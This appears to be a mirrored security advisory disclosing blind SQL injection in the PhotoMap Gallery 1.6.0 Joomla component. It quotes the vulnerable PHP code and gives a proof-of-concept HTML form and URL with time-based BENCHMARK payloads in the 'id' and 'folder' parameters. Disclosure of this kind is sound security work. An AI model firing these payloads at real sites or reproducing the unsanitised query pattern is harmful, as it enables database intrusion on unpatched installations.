Joomla Component PhotoMap Gallery 1.6.0 - Multiple Blind SQL Injection

🗓️ 01 Jul 2014 00:00:00Reported by RootType
PhotoMap Gallery 1.6.0 Joomla Component Multiple Blind SQL Injection can manipulate SQL queries via injection of arbitrary SQL code

                                                PhotoMap Gallery 1.6.0 Joomla Component Multiple Blind SQL Injection

 Name              PhotoMap Gallery
 Vendor            http://extensions.joomla.org/extensions/photos-a-images/photo-gallery/10658
 Versions Affected 1.6.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-07-28

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

PhotoMap Gallery  is  a   gallery  component  completely
integrated  into  Joomla 1.5.x. Like &#39;Picasa&#39;, &#39;Flickr&#39;,
or &#39;Panoramio&#39;,  you  can  easily  add geo-tags  to your
photos  so  that  you can remember exactly where they&#39;re
from using Google Maps.


II. DESCRIPTION
_______________

Some parameters  are not properly sanitised before being
used in SQL queries.


III. ANALYSIS
_____________

Summary: 

A) Multiple Blind SQL Injection
_______________________________

The parameter id passed to controller.php  via POST when
view is set to user and task is set to save_usercategory
is  not  properly sanitised  before being  used in a SQL
query. This  can  be exploited to manipulate SQL queries
by injecting arbitrary SQL code.

The parameter folder passed to  imagehandler.php  is not
properly sanitised before used in a SQL query.  This can
be  exploited  to  manipulate  SQL  queries by injecting
arbitrary SQL code.

The following is the affected code.

controller.php (line 1135):

function save_usercategory() {

    // Check for request forgeries
	JRequest::checkToken() or jexit( &#39;Invalid Token&#39; );
		
	$user			= & JFactory::getUser();
	$task			= JRequest::getVar(&#39;task&#39;);
	$post 			= JRequest::get(&#39;post&#39;);

	//perform access checks
	$isNew = ($post[&#39;id&#39;]) ? false : true;

//	$catid = (int) JRequest::getVar(&#39;catid&#39;, 0);
		
	$db 	=& JFactory::getDBO();
	$query = &#39;SELECT c.id, c.directory&#39;
				. &#39; FROM #__g_categories AS c&#39;
				. &#39; WHERE c.id = &#39;.$post[&#39;id&#39;];


imagehandler.php (line 109);

function getList() {

	static $list;

	// Only process the list once per request
	if (is_array($list)) {
		return $list;
	}

	// Get folder from request
	$folder = $this-&#62;getState(&#39;folder&#39;);
	$search = $this-&#62;getState(&#39;search&#39;);

	$query = &#39;SELECT *&#39;
			. &#39; FROM #__g_categories&#39;
			. &#39; WHERE id = &#39;.$folder;



IV. SAMPLE CODE
_______________

A) Multiple Blind SQL Injection

Replace 89eb36eca1919aff534b13b54796c9a4 with your own.

&#60;html&#62;
	&#60;head&#62;
	    &#60;title&#62;PoC - PhotoMap Gallery 1.6.0 Blind SQL Injection&#60;/title&#62;
	&#60;/head&#62;
	&#60;body&#62;
	    &#60;form method=&#34;POST&#34; action=&#34;http://127.0.0.1/joomla/index.php&#34;&#62;
	        &#60;input type=&#34;hidden&#34; name=&#34;89eb36eca1919aff534b13b54796c9a4&#34; value=&#34;1&#34;&#62;
			&#60;input type=&#34;hidden&#34; name=&#34;option&#34; value=&#34;com_photomapgallery&#34;&#62;
			&#60;input type=&#34;hidden&#34; name=&#34;controller&#34; value=&#34;&#34;&#62;
			&#60;input type=&#34;hidden&#34; name=&#34;view&#34; value=&#34;user&#34;&#62;
		    &#60;input type=&#34;hidden&#34; name=&#34;task&#34; value=&#34;save_usercategory&#34;&#62;
		    &#60;input type=&#34;hidden&#34; name=&#34;id&#34; value=&#34;-1 AND (SELECT(IF(0x41=0x41, BENCHMARK(99999999999,NULL),NULL)))&#34;&#62;
		    &#60;input type=&#34;submit&#34;&#62;
	    &#60;/form&#62;
	&#60;/body&#62;
&#60;/html&#62;


http://site/path/index.php?option=com_photomapgallery&view=imagehandler&folder=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))


V. FIX
______

No fix.
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1